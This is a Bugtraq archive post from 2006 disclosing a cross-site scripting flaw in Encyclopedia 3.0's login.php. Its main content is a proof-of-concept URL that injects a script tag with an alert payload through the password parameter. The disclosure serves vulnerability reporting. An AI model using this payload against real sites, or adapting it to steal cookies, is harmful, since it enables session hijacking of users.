Bugtraq mailing list archives

Encyclopedia <= 3.0 (login.php) CrossSite Scripting - XSS

From: n0m3rcy () bsdmail org
Date: 14 Apr 2006 14:47:05 -0000

# Encyclopedia <= 3.0 (login.php) CrossSite Scripting - XSS
# by n0m3rcy
# Copyright (c) 2006 n0m3rcy <n0m3rcy () bsdmail org>
# Exploit:
www.site.com/login.php?action=form&username=<username>&password=%22%3E%3Cscript%3Ealert(document.cookies);%3C/script%3E
# Shoutz:
cijfer , my baby , Dag & myself :PpP
# Have phun!

Current thread:

Encyclopedia <= 3.0 (login.php) CrossSite Scripting - XSS n0m3rcy (Apr 14)